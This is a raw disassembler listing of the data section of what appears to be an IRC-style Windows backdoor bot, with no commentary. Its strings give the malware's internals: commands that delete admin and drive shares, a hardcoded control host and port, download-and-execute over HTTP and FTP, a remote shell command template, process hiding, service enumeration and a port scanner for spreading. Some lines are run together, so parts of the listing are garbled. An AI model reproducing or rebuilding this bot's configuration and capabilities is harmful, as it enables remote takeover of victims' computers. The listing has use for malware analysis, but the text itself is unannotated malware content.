		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086D8o ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
aHotfix		db 'hotfix',0           ; DATA XREF: sub_407790+394o
		align 4
aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+383o
		align 8
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+372o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
		align 4
		dd 0
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+350o
		align 8
aHail		db 'Hail-',0            ; DATA XREF: sub_407790+342o
		align 10h
aWintwir	db 'wintwir',0          ; DATA XREF: sub_407790+331o
		dd 0
aMsnnmaneger_ex	db 'msnnmaneger.exe',0  ; DATA XREF: sub_407790+320o
		align 10h
aServec		db 'servec',0           ; DATA XREF: sub_407790+30Fo
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+2FEo
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2EDo
		align 4
aSaad		db 'saad',0             ; DATA XREF: sub_407790+2A9o
					; sub_407790+2DCo
		align 4
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
					; sub_407790+2CBo
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438E0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_443908	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A30	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443B04:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C84	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C88:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C94:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CD4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CEC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CFC	dd 4255505Bh, 5D43494Ch, 0dword_443D08	dd 4952505Bh, 45544156h, 5Dhdword_443D14	dd 202Eh						; sub_4126B0+E5o
dword_443D18	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D34:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D38:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D3C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D40	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D80	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D84	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D90	dd 652Dh	dword_443D94	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DD0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DD4	dd 2Eh							; ___:0041B235o ...
dword_443DD8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E24:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E38	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84	dd 63257325h, 0						; sub_41F860+E5o
dword_443E8C	dd 72h		dword_443E90	dd 30h							; sub_424840+327o
dword_443E94	dd 3039h	dword_443E98	dd 383631h	dword_443E9C	dd 323931h	dword_443EA0	dd 3631h	dword_443EA4	dd 323731h	dword_443EA8	dd 3031h	off_443EAC	dd offset dword_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EB0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EB4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EB8	dd 430050h						; ___:0041C25Br
dword_443EBC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EF8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FFC	dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C	dd 6469706Bh, 7325203Ah, 0dword_444018	dd 203A736Bh, 7325hdword_444020	dd 202E6425h, 7325202Fh, 0dword_44402C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_4440A8:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44433C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444410:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444448	dd 1BDh							; sub_422A40+310o ...
off_44444C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444450	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
aA		db ' -a',0              ; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
aR		db ' -r',0              ; DATA XREF: sub_422A40:loc_423167o
					; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44467C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
